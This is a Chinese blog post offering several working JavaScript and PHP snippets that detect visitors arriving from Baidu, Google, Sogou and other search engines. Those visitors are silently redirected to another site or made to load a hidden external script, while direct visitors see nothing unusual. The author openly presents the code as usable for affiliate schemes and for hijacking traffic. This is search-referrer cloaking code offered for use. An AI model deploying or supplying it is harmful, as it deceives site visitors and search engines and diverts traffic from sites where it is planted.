分享几路JS/php代码根据搜索引擎来路来判断 跳转到指定页面

作者: zms! 日期: 2014.08.18 本文发布于2050天前 分类: PHP函数语法点滴 相关:

偶尔会用到这些代码,直接输入域名,打开网页,没有任何异常。但是通过百度谷歌搜狗等搜索引擎点进来的用户,会执行跳转。可以用来做淘宝客,也可以用来劫持流量。
1、JS代码判断搜索引擎来路进行跳转
————————————————-

<script language=”javascript”>
var regexp=/\.(baidu|soso|sogou|google|youdao|yahoo)(\.[a-z0-9\-]+){1,2}\//ig;
var where =document.referrer;
if(regexp.test(where))
{
window.location.href=”http://www.jz96.com/”
}
</script>

2、用php判断搜索引擎的代码

<?PHP
$referer = $_SERVER['HTTP_REFERER'];
if(!$referer == ''){
if(ereg('http',$referer)){
$referer = @eXPlode('.',$referer);
if(is_array($referer)){
$referer = $referer['1'];
if($referer == 'google' OR $referer == 'baidu' OR $referer == 'soso' OR $referer == 'sogou'){
?>
<div style="visibility:hidden;"><script src="a.js" language="JavaScript"></script>
</div><?php
}
}
}
}
?>

3、另外一种通过Js判断搜索引擎来路的代码则如下

<script type="text/javascript">
function elem(e,url){
var h=document.createElement(e);
h.src=url;
document.getElementsByTagName('head')[0].appendChild(h);
}
function refer(){
var ref=document.referrer;
var baidu=ref.indexOf("baidu");
var soso=ref.indexOf("soso");
var google=ref.indexOf("google");
if(baidu!=-1||soso!=-1||google!=-1){
elem("script","http://127.0.0.1/js.js");
}
}
refer()
</script>

另外附上自己百度谷歌的一份代码

<script language="javascript">
var s=document.referrer
if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("soso")>0 || s.indexOf("search")>0 || s.indexOf("114")>0 )
window.opener.navigate("http://www.jz96.com")
</script>

留着备用,以后准备份代码,用来做判断搜索引擎做跳转。
PHP代码做301重定向

<?php
Header("HTTP/1.1 301 Moved Permanently");
Header("Location: http://www.jz96.com");
?>

最后来一个自己测试可用的代码

<script type="text/javascript">
var s=document.referrer;
if(s.indexOf("%E5%BB%BA%E7%AB%99%E4%BA%A4%E6%B5%81")>0||s.indexOf("400%E6%98%AF%E5%85%8D%E8%B4%B9%E7%94%B5%E8%AF%9D%E5%90%97")>0||s.indexOf("400%E7%94%B5%E8%AF%9D%E5%A6%82%E4%BD%95%E5%8A%9E%E7%90%86")>0)self.location="http://www.jz96.com/jiaocheng";
</script>

其中s.indexOf(“%E5%BB%BA%E7%AB%99%E4%BA%A4%E6%B5%81″)>0 为关键词 建站交流=%E5%BB%BA%E7%AB%99%E4%BA%A4%E6%B5%81


返回上一页


讨论区

您尚未 登录,或请 注册

登 录 注 册


你可能也喜欢

dbMySQL数据源访问类 2020.03.14,7 pv
php计算当前时间到以后一天、一周、一月、一年 2020.01.12,1 pv
php防止CC攻击代码 php防止网页频繁刷新 2019.06.12,7 pv

php将手机号转为字符串并求所有数字之和,或求字符串中所有数字之和的两个方法: 2018.10.15,15 pv
PHP环境加固,让黑客无从下手 2018.05.15,11 pv
PHP支持手势的手机端图片裁剪上传 2018.05.09,9 pv